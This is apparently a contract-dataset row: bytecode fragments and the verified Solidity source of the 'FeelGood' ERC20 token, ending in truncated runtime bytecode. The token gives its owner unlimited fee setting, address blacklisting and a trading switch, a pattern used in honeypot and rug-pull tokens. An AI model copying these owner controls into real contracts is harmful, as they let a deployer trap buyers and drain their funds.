fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561145057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561149d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561152857600080fd5b611579826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116dd82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156117db57fe5b818303905092915050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561183657600080fd5b611841338484611865565b905092915050565b6000818301905082811015151561185c57fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118a257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156118ef57600080fd5b611940826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080831415611a985760009050611ab7565b8183029050818382811515611aa957fe5b04141515611ab357fe5b8090505b929150505600a165627a7a723058208e42163beaf28074d7f64a108b747a61849a2f49717cba43c9f809cfee689a980029
|
{"success": true, "error": null, "results": {}}
| 7,815 |
0x4efe5e14103dbc0e8b16a89bbf78f82567ffd173
|
/**
*Submitted for verification at Etherscan.io on 2022-02-20
*/
/**
*Submitted for verification at Etherscan.io
*/
/*
Welcome to Feel Good ERC20
https://t.me/FeelGoodPortal
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FeelGood is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FEELGOOD";
string private constant _symbol = "FEEL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 14;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x7C7c009e16c333606E1B64b78A33b8E12aa5d5c0);
address payable private _marketingAddress = payable(0x7C7c009e16c333606E1B64b78A33b8E12aa5d5c0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9;
uint256 public _maxWalletSize = 500000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setmaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e1461065c578063ea1644d514610699578063f2fde38b146106c2578063fc342279146106eb576101d7565b8063b0c2b561146105b6578063bfd79284146105df578063c3c8cd801461061c578063c492f04614610633576101d7565b806395d89b41116100d157806395d89b41146104fc57806398a5c31514610527578063a2a957bb14610550578063a9059cbb14610579576101d7565b80638da5cb5b1461047d5780638f70ccf7146104a85780638f9a55c0146104d1576101d7565b8063313ce5671161016f57806370a082311161013e57806370a08231146103c1578063715018a6146103fe5780637d1db4a5146104155780637f2feddc14610440576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636fc3eaec146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103bf610acd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190613063565b610b9e565b6040516103f59190612f94565b60405180910390f35b34801561040a57600080fd5b50610413610bef565b005b34801561042157600080fd5b5061042a610d42565b6040516104379190612f94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613063565b610d48565b6040516104749190612f94565b60405180910390f35b34801561048957600080fd5b50610492610d60565b60405161049f9190613048565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906130bc565b610d89565b005b3480156104dd57600080fd5b506104e6610e3b565b6040516104f39190612f94565b60405180910390f35b34801561050857600080fd5b50610511610e41565b60405161051e9190612e3d565b60405180910390f35b34801561053357600080fd5b5061054e600480360381019061054991906130e9565b610e7e565b005b34801561055c57600080fd5b5061057760048036038101906105729190613116565b610f1d565b005b34801561058557600080fd5b506105a0600480360381019061059b9190612e95565b610fd4565b6040516105ad9190612ef0565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d891906130e9565b610ff2565b005b3480156105eb57600080fd5b5061060660048036038101906106019190613063565b611091565b6040516106139190612ef0565b60405180910390f35b34801561062857600080fd5b506106316110b1565b005b34801561063f57600080fd5b5061065a600480360381019061065591906131d8565b61118a565b005b34801561066857600080fd5b50610683600480360381019061067e9190613238565b6112c4565b6040516106909190612f94565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb91906130e9565b61134b565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190613063565b6113ea565b005b3480156106f757600080fd5b50610712600480360381019061070d91906130bc565b6115ac565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600881526020017f4645454c474f4f44000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0e61165e565b73ffffffffffffffffffffffffffffffffffffffff161480610b845750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6c61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8d57600080fd5b6000479050610b9b8161211a565b50565b6000610be8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610bf761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d9161165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4645454c00000000000000000000000000000000000000000000000000000000815250905090565b610e8661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a906132c4565b60405180910390fd5b8060188190555050565b610f2561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610fe8610fe161165e565b8484611831565b6001905092915050565b610ffa61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906132c4565b60405180910390fd5b8060168190555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f261165e565b73ffffffffffffffffffffffffffffffffffffffff1614806111685750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661115061165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61117157600080fd5b600061117c30610b9e565b9050611187816121f4565b50565b61119261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906132c4565b60405180910390fd5b60005b838390508110156112be578160056000868685818110611245576112446132e4565b5b905060200201602081019061125a9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b690613342565b915050611222565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61135361165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d7906132c4565b60405180910390fd5b8060178190555050565b6113f261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611641576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611638906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610d60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610b9e565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610b9e565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673